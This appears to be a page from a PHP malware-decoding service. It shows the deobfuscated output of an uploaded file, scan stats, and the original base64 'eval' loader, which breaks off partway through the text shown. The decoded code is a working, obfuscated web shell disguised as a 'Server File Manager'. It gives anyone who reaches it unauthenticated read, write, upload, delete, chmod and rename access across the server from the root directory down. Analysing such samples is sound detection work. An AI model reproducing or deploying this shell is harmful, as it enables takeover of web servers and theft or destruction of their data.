Decoded Output
Download
goto Y4aRQ; C99Jz: function list_dir_sorted($dir) { $items = array(); $files = @scandir($dir); if (!$files) { return $items; } foreach ($files as $f) { if ($f === "\56" || $f === "\x2e\x2e") { continue; } $full = $dir . "\x2f" . $f; $items[] = array("\156\141\x6d\145" => $f, "\x69\x73\137\x64\151\162" => is_dir($full), "\163\151\172\x65" => is_file($full) ? filesize($full) : 0, "\155\x74\x69\155\145" => filemtime($full), "\x70\x65\x72\x6d" => substr(sprintf("\45\157", fileperms($full)), -4), "\160\141\x74\150" => $full); } usort($items, function ($a, $b) { if ($a["\151\163\137\144\151\x72"] && !$b["\151\x73\x5f\144\x69\162"]) { return -1; } if (!$a["\151\x73\137\144\x69\162"] && $b["\x69\x73\137\144\151\162"]) { return 1; } return strcasecmp($a["\x6e\x61\155\x65"], $b["\x6e\x61\155\x65"]); }); return $items; } goto NxFxq; oRpHt: ?>
</tbody></table></div><div class="modal"id="uploadModal"><div class="box"><h3 style="margin:0 0 8px 0">Upload Files</h3><div class="drop"id="dropArea">Drag files here, or click to select</div><input type="file"id="fileInput"multiple style="display:none"><div class="progress-list"id="progressList"></div><div style="margin-top:12px;text-align:right"><button class="btn"onclick="closeUpload()">Close</button></div></div></div><div class="modal editor-modal"id="editorModal"><div class="box"><div class="editor-header"><div><div id="editorTitle"style="font-weight:700">Edit</div><div class="small"id="editorPath"></div></div><div><button class="btn primary"id="saveBtn">Save</button> <button class="btn"onclick="closeEditor()">Close</button></div></div><textarea id="editorContent"></textarea></div></div><script async src="https://www.googletagmanager.com/gtag/js?id=G-GW5BV72N8J"></script><script>function gtag(){dataLayer.push(arguments)}window.dataLayer=window.dataLayer||[],gtag("js",new Date),gtag("config","G-GW5BV72N8J")</script><script>function showFlash(m,k){var e=document.getElementById('flash');e.innerText=m;e.style.display='block';e.style.background=k?'#dcfce7':'#fee2e2';e.style.color=k?'#166534':'#991b1b';e.style.borderLeft=k?'4px solid #22c55e':'4px solid #ef4444';setTimeout(()=>{e.style.display='none';},5000);}
var editorModal=document.getElementById('editorModal'),editorContent=document.getElementById('editorContent'),editorTitle=document.getElementById('editorTitle'),editorPath=document.getElementById('editorPath'),currentFullPath='';
function openEditor(p){var f=decodeURIComponent(p);currentFullPath=f;editorTitle.innerText='Edit: '+f.split('/').pop();editorPath.innerText=f;editorContent.value='Loading...';editorModal.style.display='flex';fetch('?api=1&action=getfile&fullpath='+encodeURIComponent(f)).then(r=>{if(!r.ok)throw new Error('Read failed');return r.text();}).then(t=>{editorContent.value=t;}).catch(e=>{editorContent.value='';showFlash('Read file failed',!1);});}
function closeEditor(){editorModal.style.display='none';currentFullPath='';editorContent.value='';}
document.getElementById('saveBtn').addEventListener('click',function(){if(!currentFullPath)return;var f=new FormData();f.append('api','1');f.append('action','savefile');f.append('fullpath',currentFullPath);f.append('content',editorContent.value);fetch('',{method:'POST',body:f}).then(r=>r.json()).then(d=>{if(d.ok){showFlash('Saved successfully',!0);setTimeout(()=>location.reload(),700);}else showFlash('Save failed: '+(d.error||'Error'),!1);}).catch(e=>{showFlash('Network error',!1);});});
var uploadModal=document.getElementById('uploadModal'),dropArea=document.getElementById('dropArea'),fileInput=document.getElementById('fileInput'),progressList=document.getElementById('progressList');
function openUpload(){uploadModal.style.display='flex';}function closeUpload(){uploadModal.style.display='none';progressList.innerHTML='';}
dropArea.addEventListener('click',()=>fileInput.click());fileInput.addEventListener('change',()=>handleFiles(fileInput.files));
['dragenter','dragover','dragleave','drop'].forEach(e=>{dropArea.addEventListener(e,ev=>{ev.preventDefault();ev.stopPropagation();},!1);});
dropArea.addEventListener('drop',e=>{handleFiles(e.dataTransfer.files);});
function handleFiles(fs){for(let i=0;i<fs.length;i++)uploadFile(fs[i]);}
function uploadFile(f){var r=document.createElement('div');r.className='progress-item';var n=document.createElement('div');n.style.width='220px';n.innerText=f.name;var b=document.createElement('div');b.className='progress-bar';var l=document.createElement('div');l.className='progress-fill';b.appendChild(l);var t=document.createElement('div');t.className='progress-text';t.innerText='0%';r.appendChild(n);r.appendChild(b);r.appendChild(t);progressList.appendChild(r);var x=new XMLHttpRequest(),d=new FormData();d.append('file[]',f);d.append('api','1');d.append('action','upload');d.append('target','<?php goto SgvLL; oXQWg: function safe_real($path) { if ($path === '' || $path === null) { return false; } $real = realpath($path); return $real === false ? false : $real; } goto C99Jz; vc113: session_start(); goto tNB4Q; Q3XNP: ?>
</span></div></div><table class="table"id="fileTable"><thead><tr><th>Name</th><th>Type</th><th>Size</th><th>Modified</th><th>Perms</th><th>Actions</th></tr></thead><tbody><?php goto Rg2Sz; o37I9: $target = safe_real($rel) ?: ($rel === '' ? getcwd() : (safe_real(getcwd() . "\x2f" . $rel) ?: getcwd())); goto hC1vM; hLlqf: echo urlencode(dirname($target)); goto H5A1N; DQI0S: $action = $_REQUEST["\141\x63\164\x69\x6f\156"] ?? "\154\151\x73\x74"; goto V8GYQ; bNxAy: ?>
"class="btn">Root Folder</a></div></div><?php goto i7G5Q; LjisL: echo esc($target); goto kGv63; Rg2Sz: $q = $_GET["\x71"] ?? ''; goto tLigm; znEKx: echo esc(get_current_user()); goto Q3XNP; TMgOy: error_reporting(E_ALL & ~E_NOTICE); goto qda1r; q8BDI: function json_out($d) { header("\103\157\x6e\164\x65\x6e\x74\x2d\124\171\x70\x65\x3a\40\141\x70\160\x6c\151\143\x61\x74\x69\157\156\x2f\152\163\157\156\x3b\40\143\150\141\162\x73\x65\x74\x3d\x75\164\146\55\x38"); echo json_encode($d); die; } goto oXQWg; hC1vM: if ($target === false) { $target = getcwd(); } goto Bnie2; tNB4Q: function esc($s) { return htmlspecialchars((string) $s, ENT_QUOTES, "\125\x54\x46\55\70"); } goto q8BDI; ieygF: $flash = get_flash(); goto hABJ2; SgvLL: echo esc($target); goto UCGdW; S3miV: function get_flash() { $m = $_SESSION["\x66\x6d\137\x66\154\x61\x73\x68"] ?? ''; unset($_SESSION["\146\x6d\137\146\x6c\x61\x73\150"]); return $m; } goto DQI0S; qda1r: $ROOT = realpath("\x2f"); goto exDgF; O8w8a: ?>
</div><div class="small">User: <span class="small"><?php goto znEKx; V8GYQ: if (isset($_GET["\141\x70\x69"]) || isset($_POST["\x61\160\151"])) { if ($action === "\x67\x65\164\x66\151\154\145" && isset($_GET["\x66\x75\x6c\x6c\x70\141\164\x68"])) { $full = safe_real($_GET["\x66\x75\154\x6c\160\141\x74\150"]); if ($full && is_file($full)) { header("\103\157\156\x74\145\x6e\164\55\124\x79\160\x65\x3a\x20\164\145\170\164\x2f\x70\x6c\141\x69\x6e\73\40\143\150\x61\x72\163\x65\x74\75\x75\x74\146\x2d\70"); echo file_get_contents($full); die; } else { http_response_code(404); echo "\116\157\164\40\x66\x6f\165\156\144"; die; } } if ($action === "\x73\141\x76\x65\x66\x69\154\x65" && isset($_POST["\x66\x75\154\x6c\x70\x61\x74\x68"]) && isset($_POST["\x63\x6f\156\164\145\156\x74"])) { $full = safe_real($_POST["\146\x75\154\x6c\160\x61\164\150"]); if ($full === false) { json_out(array("\x6f\x6b" => false, "\x65\x72\x72\157\x72" => "\151\156\166\141\154\151\144\x20\x70\x61\164\150")); } if (is_writable($full) || is_writable(dirname($full))) { $ok = file_put_contents($full, $_POST["\x63\157\x6e\x74\x65\156\x74"]) !== false; json_out(array("\157\x6b" => $ok)); } else { json_out(array("\157\x6b" => false, "\x65\162\x72\x6f\x72" => "\156\x6f\x20\x77\162\151\164\x65\x20\160\145\162\155\151\x73\163\151\x6f\x6e")); } } if ($action === "\x75\160\x6c\157\x61\x64" && !empty($_FILES)) { $results = array(); $target = $_GET["\164\141\x72\x67\x65\164"] ?? $_POST["\x74\141\162\x67\145\164"] ?? ''; $targetReal = safe_real($target) ?: $target; if ($targetReal === '' || !is_dir($targetReal)) { $targetReal = getcwd(); } foreach ($_FILES as $field) { if (is_array($field["\x6e\x61\155\x65"])) { for ($i = 0; $i < count($field["\156\x61\155\145"]); $i++) { $name = basename($field["\x6e\141\155\x65"][$i]); $tmp = $field["\x74\x6d\x70\x5f\x6e\141\155\x65"][$i]; $full = rtrim($targetReal, "\57") . "\x2f" . $name; $ok = false; if ($tmp && is_uploaded_file($tmp)) { $ok = move_uploaded_file($tmp, $full); } $results[] = array("\156\x61\155\145" => $name, "\157\x6b" => $ok, "\160\x61\164\150" => $full); } } else { $name = basename($field["\x6e\141\x6d\145"]); $tmp = $field["\164\x6d\160\x5f\x6e\x61\x6d\145"]; $full = rtrim($targetReal, "\x2f") . "\x2f" . $name; $ok = false; if ($tmp && is_uploaded_file($tmp)) { $ok = move_uploaded_file($tmp, $full); } $results[] = array("\x6e\141\155\145" => $name, "\157\153" => $ok, "\x70\141\164\x68" => $full); } } json_out(array("\157\x6b" => true, "\162\145\163\165\154\x74\163" => $results)); } if ($action === "\144\x65\154\145\x74\145" && isset($_POST["\x66\x75\154\x6c\x70\x61\164\150"])) { $full = safe_real($_POST["\x66\165\x6c\154\x70\x61\164\x68"]); if ($full === false) { json_out(array("\x6f\153" => false, "\x65\x72\162\157\162" => "\151\156\166\141\154\x69\x64")); } if (!file_exists($full)) { json_out(array("\157\x6b" => false, "\x65\162\x72\x6f\162" => "\156\x6f\164\x20\145\x78\x69\x73\164\163")); } if (is_dir($full)) { $it = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($full, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::CHILD_FIRST); foreach ($it as $item) { $item->isDir() ? rmdir($item->getRealPath()) : unlink($item->getRealPath()); } $ok = rmdir($full); } else { $ok = unlink($full); } json_out(array("\157\153" => $ok)); } if ($action === "\143\x68\x6d\x6f\144" && isset($_POST["\146\165\154\x6c\160\141\x74\x68"]) && isset($_POST["\x6d\x6f\144\x65"])) { $full = safe_real($_POST["\146\165\x6c\x6c\x70\x61\x74\150"]); $mode = intval($_POST["\155\x6f\144\145"], 8); $ok = @chmod($full, $mode); json_out(array("\x6f\x6b" => $ok)); } if ($action === "\x6d\153\x64\151\162" && isset($_POST["\144\x69\162\160\x61\x74\150"]) && isset($_POST["\x6e\141\x6d\x65"])) { $base = safe_real($_POST["\x64\151\x72\160\141\x74\150"]) ?: $_POST["\144\x69\162\160\x61\x74\150"]; $name = basename($_POST["\156\x61\155\145"]); $full = rtrim($base, "\x2f") . "\57" . $name; $ok = @mkdir($full, 493); json_out(array("\x6f\153" => $ok, "\160\141\x74\x68" => $full)); } if ($action === "\x72\x65\156\141\155\145" && isset($_POST["\146\165\x6c\x6c\x70\x61\164\150"]) && isset($_POST["\x6e\145\167\156\141\155\145"])) { $full = safe_real($_POST["\146\x75\154\154\x70\x61\x74\150"]); $new = basename($_POST["\156\145\167\x6e\x61\155\145"]); $to = dirname($full) . "\57" . $new; $ok = @rename($full, $to); json_out(array("\157\x6b" => $ok, "\x74\x6f" => $to)); } if ($action === "\x67\x65\156\137\x68\x74\141\x63\143\x65\163\163" && isset($_POST["\144\151\162\160\141\164\x68"])) { $dir = safe_real($_POST["\x64\x69\x72\160\141\x74\150"]) ?: getcwd(); $full = rtrim($dir, "\x2f") . "\x2f\56\x68\164\141\x63\x63\145\x73\163"; $content = "\x52\x65\167\162\x69\164\x65\x45\x6e\x67\x69\156\x65\40\x4f\x6e\12\x52\x65\x77\162\151\x74\145\x42\141\x73\145\40\57\xa\xa\x52\145\x77\x72\x69\164\145\x43\157\156\x64\40\x25\x7b\122\x45\x51\125\105\x53\124\137\x46\x49\x4c\x45\116\101\x4d\105\175\x20\x21\x2d\x64\xa\x52\x65\x77\x72\x69\164\x65\103\x6f\x6e\x64\40\45\x7b\122\x45\x51\125\x45\123\x54\x5f\106\x49\114\x45\116\101\x4d\x45\x7d\x20\41\x2d\x66\xa\122\x65\x77\162\x69\164\145\x52\165\154\145\x20\136\x28\x2e\x2a\51\x24\x20\151\x6e\144\145\170\x2e\160\150\160\40\x5b\114\x5d"; $ok = @file_put_contents($full, $content) !== false; json_out(array("\x6f\153" => $ok)); } if ($action === "\147\x65\x6e\137\162\157\x62\157\x74\x73" && isset($_POST["\x64\151\x72\160\141\164\150"])) { $dir = safe_real($_POST["\144\x69\162\x70\x61\164\x68"]) ?: getcwd(); $full = rtrim($dir, "\57") . "\57\162\x6f\142\157\164\163\56\x74\x78\x74"; $protocol = !empty($_SERVER["\x48\124\124\120\123"]) && $_SERVER["\110\124\x54\120\x53"] !== "\157\x66\146" || $_SERVER["\x53\x45\122\x56\x45\122\137\120\117\x52\x54"] == 443 ? "\x68\164\164\x70\163\72\57\57" : "\x68\x74\164\x70\72\x2f\57"; $domain = $protocol . ($_SERVER["\110\124\124\120\137\x48\x4f\123\124"] ?? "\154\157\143\x61\x6c\x68\x6f\x73\164"); $content = "\x55\x73\145\162\55\x61\147\145\156\x74\72\40\52\12\x41\x6c\154\x6f\x77\72\40\x2f\xa\x53\151\164\145\x6d\141\x70\72\40{$domain}\57\x73\151\164\145\155\x61\x70\x2e\x78\155\x6c"; $ok = @file_put_contents($full, $content) !== false; json_out(array("\157\153" => $ok)); } json_out(array("\157\x6b" => false, "\x65\162\x72\157\162" => "\x75\x6e\x6b\x6e\157\167\156\40\141\160\x69")); } goto OFz3O; tLigm: foreach ($files as $f) { if ($q !== '' && stripos($f["\156\x61\x6d\145"], $q) === false) { continue; } ?>
<tr><td style="width:40%"><?php if ($f["\151\163\x5f\144\x69\162"]) { ?>
<a href="?path=<?php echo urlencode($f["\160\141\164\150"]); ?>
"class="small link"style="font-weight:700;color:#2563eb;text-decoration:none"><?php echo esc($f["\156\x61\x6d\x65"]); ?>
</a><?php } else { ?>
<a href="javascript:void(0)"style="color:#0f172a;text-decoration:none"onclick='openEditor("<?php echo rawurlencode($f["\x70\x61\x74\150"]); ?>
")'><?php echo esc($f["\x6e\x61\155\x65"]); ?>
</a><?php } ?>
</td><td><?php echo $f["\151\163\x5f\x64\151\x72"] ? "\x44\151\162" : "\106\151\154\145"; ?>
</td><td><?php echo $f["\151\163\x5f\144\x69\x72"] ? "\x2d" : human_size($f["\163\151\x7a\145"]); ?>
</td><td><?php echo date("\x59\x2d\x6d\55\144\40\110\72\151\72\163", $f["\x6d\164\151\x6d\145"]); ?>
</td><td><?php echo esc($f["\160\145\x72\x6d"]); ?>
</td><td class="actions"><?php if ($f["\x69\163\137\144\151\x72"]) { ?>
<a href="?path=<?php echo urlencode($f["\160\x61\164\150"]); ?>
"class="btn"></a><?php } else { ?>
<a href="?action=download&path=<?php echo urlencode($target); ?>
&file=<?php echo urlencode($f["\156\141\155\145"]); ?>
"class="btn"></a> <button class="btn primary"onclick='openEditor("<?php echo rawurlencode($f["\160\x61\x74\150"]); ?>
")'></button><?php } ?>
<button class="btn"onclick='doDelete("<?php echo rawurlencode($f["\x70\x61\x74\x68"]); ?>
")'></button> <button class="btn"onclick='doRename("<?php echo rawurlencode($f["\x70\141\x74\x68"]); ?>
")'></button> <button class="btn"onclick='doChmod("<?php echo rawurlencode($f["\160\x61\164\x68"]); ?>
")'></button></td></tr><?php } goto oRpHt; EDIw_: echo esc($target); goto UCI6_; o2glg: echo esc($target); goto O8w8a; exDgF: if ($ROOT === false) { $ROOT = realpath(__DIR__); } goto vc113; UCI6_: ?>
"type="hidden"><input name="q"value="<?php goto WCibh; kGv63: ?>
');d.append('name',n);fetch('',{method:'POST',body:d}).then(r=>r.json()).then(d=>{if(d.ok){showFlash('Created',!0);setTimeout(()=>location.reload(),700);}else showFlash('Create failed',!1);});}
function doGenFile(t){var d=new FormData();d.append('api','1');d.append('action',t==='htaccess'?'gen_htaccess':'gen_robots');d.append('dirpath','<?php goto PvUn1; EIzOw: ?>
"class="input"placeholder="Search"><button class="btn"type="submit">Search</button></form><button class="btn"onclick="openUpload()">Upload</button><button class="btn"onclick='doGenFile("htaccess")'>Gen .htaccess</button><button class="btn"onclick='doGenFile("robots")'>Gen robots.txt</button><a href="?path=<?php goto hLlqf; Y4aRQ: ini_set("\144\x69\x73\x70\154\x61\x79\x5f\x65\x72\x72\x6f\162\163", 0); goto TMgOy; Bnie2: $files = list_dir_sorted($target); goto ieygF; H5A1N: ?>
"class="btn">Parent</a><a href="<?php goto ZqQyP; B01Of: ?>
<div class="pathbar"><div class="small">Current Path</div><div style="font-family:monospace;flex:1;color:#0f172a"><?php goto o2glg; PvUn1: echo esc($target); goto rTuPl; uLKc5: function set_flash($m) { $_SESSION["\146\155\137\x66\154\141\x73\150"] = $m; } goto S3miV; WCibh: echo esc($_GET["\x71"] ?? ''); goto EIzOw; UCGdW: ?>
');x.open('POST','?',!0);x.upload.addEventListener('progress',e=>{if(e.lengthComputable){var p=Math.round(e.loaded/e.total*100);l.style.width=p+'%';t.innerText=p+'%';}});x.onreadystatechange=function(){if(x.readyState===4){if(x.status===200){try{var s=JSON.parse(x.responseText);if(s.ok){t.innerText='Done';showFlash('Upload complete',!0);setTimeout(()=>location.reload(),800);}else{t.innerText='Failed';showFlash('Upload failed',!1);}}catch(e){t.innerText='Done';setTimeout(()=>location.reload(),800);}}else{t.innerText='Failed';showFlash('Upload failed',!1);}}};x.send(d);}
function doDelete(e){var f=decodeURIComponent(e);if(!confirm('Permanently delete: '+f+' ?'))return;var d=new FormData();d.append('api','1');d.append('action','delete');d.append('fullpath',f);fetch('',{method:'POST',body:d}).then(r=>r.json()).then(d=>{if(d.ok){showFlash('Deleted',!0);setTimeout(()=>location.reload(),700);}else showFlash('Delete failed',!1);});}
function doRename(e){var f=decodeURIComponent(e),n=prompt('New name',f.split('/').pop());if(!n)return;var d=new FormData();d.append('api','1');d.append('action','rename');d.append('fullpath',f);d.append('newname',n);fetch('',{method:'POST',body:d}).then(r=>r.json()).then(d=>{if(d.ok){showFlash('Renamed',!0);setTimeout(()=>location.reload(),700);}else showFlash('Rename failed',!1);});}
function doChmod(e){var f=decodeURIComponent(e),m=prompt('Octal perms','0644');if(!m)return;var d=new FormData();d.append('api','1');d.append('action','chmod');d.append('fullpath',f);d.append('mode',m);fetch('',{method:'POST',body:d}).then(r=>r.json()).then(d=>{if(d.ok){showFlash('Chmod updated',!0);setTimeout(()=>location.reload(),700);}else showFlash('Chmod failed',!1);});}
function doMkdir(){var n=prompt('Folder name');if(!n)return;var d=new FormData();d.append('api','1');d.append('action','mkdir');d.append('dirpath','<?php goto LjisL; hABJ2: ?>
<!doctypehtml><html lang="en"><head><meta charset="utf-8"><meta content="width=device-width,initial-scale=1"name="viewport"><title>Server File Manager</title><style>:root{--bg:#f8fafc;--card:#fff;--accent:#2563eb;--muted:#64748b}body{margin:0;font-family:Inter,Segoe UI,Roboto,Arial,sans-serif;background:var(--bg);color:#0f172a}.container{max-width:1200px;margin:24px auto;padding:18px}.header{display:flex;align-items:center;justify-content:space-between;gap:12px;margin-bottom:12px}.brand{display:flex;align-items:center;gap:12px}.logo{width:56px;height:56px;border-radius:12px;background:#e2e8f0;display:flex;align-items:center;justify-content:center;font-weight:800;color:var(--accent);box-shadow:0 8px 15px rgba(0,0,0,.05)}.title{font-size:20px;font-weight:700}.controls{display:flex;gap:8px;align-items:center}.btn{padding:8px 12px;border-radius:8px;border:1px solid #cbd5e1;background:#fff;color:#334155;cursor:pointer;text-decoration:none}.btn.primary{background:var(--accent);color:#fff;border:none}.input{padding:8px;border-radius:8px;border:1px solid #cbd5e1;background:#fff;color:#0f172a}.pathbar{margin-top:8px;padding:10px;border-radius:8px;background:#fff;border:1px solid #e2e8f0;font-size:13px;color:var(--muted);display:flex;align-items:center;gap:8px;flex-wrap:wrap}.flash{margin-bottom:12px;padding:10px;border-radius:8px;background:#dcfce7;border-left:4px solid #22c55e;color:#166534}.table{width:100%;border-collapse:collapse;margin-top:12px;border-radius:10px;overflow:hidden}.table th{background:#f1f5f9;text-align:left;padding:12px;font-weight:700;color:#334155;border-bottom:1px solid #e2e8f0}.table td{padding:12px;border-bottom:1px solid #e2e8f0;vertical-align:middle;color:#0f172a}.small{font-size:12px;color:var(--muted)}.actions a,.actions button{display:inline-block;margin-right:6px}.footer{margin-top:18px;color:var(--muted);font-size:13px}.modal{position:fixed;left:0;top:0;width:100%;height:100%;display:none;align-items:center;justify-content:center;background:rgba(0,0,0,.4);z-index:999}.modal .box{width:720px;background:#fff;padding:18px;border-radius:10px;border:1px solid #e2e8f0;box-shadow:0 20px 25px -5px rgba(0,0,0,.1)}.drop{border:2px dashed #cbd5e1;padding:24px;border-radius:8px;text-align:center;color:var(--muted);cursor:pointer;background:#f8fafc}.progress-list{margin-top:12px}.progress-item{display:flex;align-items:center;gap:12px;margin-top:8px}.progress-bar{flex:1;height:10px;background:#e2e8f0;border-radius:6px;overflow:hidden}.progress-fill{height:100%;background:var(--accent);width:0%}.progress-text{width:120px;text-align:right;font-size:12px;color:var(--muted)}.editor-modal .box{width:90%;max-width:1100px}.editor-header{display:flex;justify-content:space-between;align-items:center;gap:8px;margin-bottom:8px}textarea{width:100%;height:60vh;background:#f8fafc;color:#0f172a;border:1px solid #cbd5e1;padding:12px;border-radius:8px;font-family:monospace}a.link{color:var(--accent);text-decoration:none}</style></head><body><div class="container"><div class="header"><div class="brand"><div class="logo">SYS</div><div><div class="title">Server File Manager</div></div></div><div class="controls"><form style="display:flex;gap:8px;align-items:center"><input name="path"value="<?php goto EDIw_; NxFxq: function human_size($n) { if ($n > 1024 * 1024) { return round($n / 1024 / 1024, 2) . "\x20\115\102"; } if ($n > 1024) { return round($n / 1024, 2) . "\40\x4b\102"; } return $n . "\x20\102"; } goto uLKc5; OFz3O: $rel = $_GET["\x70\x61\164\x68"] ?? ''; goto o37I9; i7G5Q: if ($flash) { ?>
<div class="flash"id="flash"><?php echo esc($flash); ?>
</div><?php } else { ?>
<div class="flash"id="flash"style="display:none"></div><?php } goto B01Of; ZqQyP: echo esc($_SERVER["\120\110\x50\137\x53\105\x4c\106"]); goto bNxAy; rTuPl: ?>
');fetch('',{method:'POST',body:d}).then(r=>r.json()).then(d=>{if(d.ok){showFlash('Generated!',!0);setTimeout(()=>location.reload(),700);}else showFlash('Generation failed',!1);}).catch(e=>{showFlash('Network error',!1);});}</script></body></htm
Did this file decode correctly?
How would you describe this file?
Thank you for your feedback! This will help us detect malicious PHP files more accurately in the future.
Function Calls
| base64_decode | 2 |
|---|
Variables
None
Stats
| MD5 | bd5a28de91c670f8 |
|---|---|
| Eval Count | 2 |
| Decode Time | 124 ms |
Original Code
<?php
eval(base64_decode('ZXZhbChiYXNlNjRfZGVjb2RlKCdDaUJuYjNSdklGazBZVkpST3lCRE9UbEtlam9nWm5WdVkzUnBiMjRnYkdsemRGOWthWEpmYzI5eWRHVmtLQ1JrYVhJcElIc2dKR2wwWlcxeklEMGdZWEp5WVhrb0tUc2dKR1pwYkdWeklEMGdRSE5qWVc1a2FYSW9KR1JwY2lrN0lHbG1JQ2doSkdacGJHVnpLU0I3SUhKbGRIVnliaUFrYVhSbGJYTTdJSDBnWm05eVpXRmphQ0FvSkdacGJHVnpJR0Z6SUNSbUtTQjdJR2xtSUNna1ppQTlQVDBnSWx3MU5pSWdmSHdnSkdZZ1BUMDlJQ0pjZURKbFhIZ3laU0lwSUhzZ1kyOXVkR2x1ZFdVN0lIMGdKR1oxYkd3Z1BTQWtaR2x5SUM0Z0lseDRNbVlpSUM0Z0pHWTdJQ1JwZEdWdGMxdGRJRDBnWVhKeVlYa29JbHd4TlRaY01UUXhYSGcyWkZ3eE5EVWlJRDArSUNSbUxDQWlYSGcyT1Z4NE56TmNNVE0zWEhnMk5Gd3hOVEZjTVRZeUlpQTlQaUJwYzE5a2FYSW9KR1oxYkd3cExDQWlYREUyTTF3eE5URmNNVGN5WEhnMk5TSWdQVDRnYVhOZlptbHNaU2drWm5Wc2JDa2dQeUJtYVd4bGMybDZaU2drWm5Wc2JDa2dPaUF3TENBaVhERTFOVng0TnpSY2VEWTVYREUxTlZ3eE5EVWlJRDArSUdacGJHVnRkR2x0WlNna1puVnNiQ2tzSUNKY2VEY3dYSGcyTlZ4NE56SmNlRFprSWlBOVBpQnpkV0p6ZEhJb2MzQnlhVzUwWmlnaVhEUTFYREUxTnlJc0lHWnBiR1Z3WlhKdGN5Z2tablZzYkNrcExDQXROQ2tzSUNKY01UWXdYREUwTVZ4NE56UmNNVFV3SWlBOVBpQWtablZzYkNrN0lIMGdkWE52Y25Rb0pHbDBaVzF6TENCbWRXNWpkR2x2YmlBb0pHRXNJQ1JpS1NCN0lHbG1JQ2drWVZzaVhERTFNVnd4TmpOY01UTTNYREUwTkZ3eE5URmNlRGN5SWwwZ0ppWWdJU1JpV3lKY01UVXhYSGczTTF4NE5XWmNNVFEwWEhnMk9Wd3hOaklpWFNrZ2V5QnlaWFIxY200Z0xURTdJSDBnYVdZZ0tDRWtZVnNpWERFMU1WeDROek5jTVRNM1hERTBORng0TmpsY01UWXlJbDBnSmlZZ0pHSmJJbHg0TmpsY2VEY3pYREV6TjF3eE5EUmNNVFV4WERFMk1pSmRLU0I3SUhKbGRIVnliaUF4T3lCOUlISmxkSFZ5YmlCemRISmpZWE5sWTIxd0tDUmhXeUpjZURabFhIZzJNVnd4TlRWY2VEWTFJbDBzSUNSaVd5SmNlRFpsWEhnMk1Wd3hOVFZjZURZMUlsMHBPeUI5S1RzZ2NtVjBkWEp1SUNScGRHVnRjenNnZlNCbmIzUnZJRTU0Um5oeE95QnZVbkJJZERvZ1B6NEtQQzkwWW05a2VUNDhMM1JoWW14bFBqd3ZaR2wyUGp4a2FYWWdZMnhoYzNNOUltMXZaR0ZzSW1sa1BTSjFjR3h2WVdSTmIyUmhiQ0krUEdScGRpQmpiR0Z6Y3owaVltOTRJajQ4YURNZ2MzUjViR1U5SW0xaGNtZHBiam93SURBZ09IQjRJREFpUGxWd2JHOWhaQ0JHYVd4bGN6d3ZhRE0rUEdScGRpQmpiR0Z6Y3owaVpISnZjQ0pwWkQwaVpISnZjRUZ5WldFaVBrUnlZV2NnWm1sc1pYTWdhR1Z5WlN3Z2IzSWdZMnhwWTJzZ2RHOGdjMlZzWldOMFBDOWthWFkrUEdsdWNIVjBJSFI1Y0dVOUltWnBiR1VpYVdROUltWnBiR1ZKYm5CMWRDSnRkV3gwYVhCc1pTQnpkSGxzWlQwaVpHbHpjR3hoZVRwdWIyNWxJajQ4WkdsMklHTnNZWE56UFNKd2NtOW5jbVZ6Y3kxc2FYTjBJbWxrUFNKd2NtOW5jbVZ6YzB4cGMzUWlQand2WkdsMlBqeGthWFlnYzNSNWJHVTlJbTFoY21kcGJpMTBiM0E2TVRKd2VEdDBaWGgwTFdGc2FXZHVPbkpwWjJoMElqNDhZblYwZEc5dUlHTnNZWE56UFNKaWRHNGliMjVqYkdsamF6MGlZMnh2YzJWVmNHeHZZV1FvS1NJK1EyeHZjMlU4TDJKMWRIUnZiajQ4TDJScGRqNDhMMlJwZGo0OEwyUnBkajQ4WkdsMklHTnNZWE56UFNKdGIyUmhiQ0JsWkdsMGIzSXRiVzlrWVd3aWFXUTlJbVZrYVhSdmNrMXZaR0ZzSWo0OFpHbDJJR05zWVhOelBTSmliM2dpUGp4a2FYWWdZMnhoYzNNOUltVmthWFJ2Y2kxb1pXRmtaWElpUGp4a2FYWStQR1JwZGlCcFpEMGlaV1JwZEc5eVZHbDBiR1VpYzNSNWJHVTlJbVp2Ym5RdGQyVnBaMmgwT2pjd01DSStSV1JwZER3dlpHbDJQanhrYVhZZ1kyeGhjM005SW5OdFlXeHNJbWxrUFNKbFpHbDBiM0pRWVhSb0lqNDhMMlJwZGo0OEwyUnBkajQ4WkdsMlBqeGlkWFIwYjI0Z1kyeGhjM005SW1KMGJpQndjbWx0WVhKNUltbGtQU0p6WVhabFFuUnVJajVUWVhabFBDOWlkWFIwYjI0K0lEeGlkWFIwYjI0Z1kyeGhjM005SW1KMGJpSnZibU5zYVdOclBTSmpiRzl6WlVWa2FYUnZjaWdwSWo1RGJHOXpaVHd2WW5WMGRHOXVQand2WkdsMlBqd3ZaR2wyUGp4MFpYaDBZWEpsWVNCcFpEMGlaV1JwZEc5eVEyOXVkR1Z1ZENJK1BDOTBaWGgwWVhKbFlUNDhMMlJwZGo0OEwyUnBkajQ4YzJOeWFYQjBJR0Z6ZVc1aklITnlZejBpYUhSMGNITTZMeTkzZDNjdVoyOXZaMnhsZEdGbmJXRnVZV2RsY2k1amIyMHZaM1JoWnk5cWN6OXBaRDFITFVkWE5VSldOekpPT0VvaVBqd3ZjMk55YVhCMFBqeHpZM0pwY0hRK1puVnVZM1JwYjI0Z1ozUmhaeWdwZTJSaGRHRk1ZWGxsY2k1d2RYTm9LR0Z5WjNWdFpXNTBjeWw5ZDJsdVpHOTNMbVJoZEdGTVlYbGxjajEzYVc1a2IzY3VaR0YwWVV4aGVXVnlmSHhiWFN4bmRHRm5LQ0pxY3lJc2JtVjNJRVJoZEdVcExHZDBZV2NvSW1OdmJtWnBaeUlzSWtjdFIxYzFRbFkzTWs0NFNpSXBQQzl6WTNKcGNIUStQSE5qY21sd2RENW1kVzVqZEdsdmJpQnphRzkzUm14aGMyZ29iU3hyS1h0MllYSWdaVDFrYjJOMWJXVnVkQzVuWlhSRmJHVnRaVzUwUW5sSlpDZ25abXhoYzJnbktUdGxMbWx1Ym1WeVZHVjRkRDF0TzJVdWMzUjViR1V1WkdsemNHeGhlVDBuWW14dlkyc25PMlV1YzNSNWJHVXVZbUZqYTJkeWIzVnVaRDFyUHljalpHTm1ZMlUzSnpvbkkyWmxaVEpsTWljN1pTNXpkSGxzWlM1amIyeHZjajFyUHljak1UWTJOVE0wSnpvbkl6azVNV0l4WWljN1pTNXpkSGxzWlM1aWIzSmtaWEpNWldaMFBXcy9KelJ3ZUNCemIyeHBaQ0FqTWpKak5UVmxKem9uTkhCNElITnZiR2xrSUNObFpqUTBORFFuTzNObGRGUnBiV1Z2ZF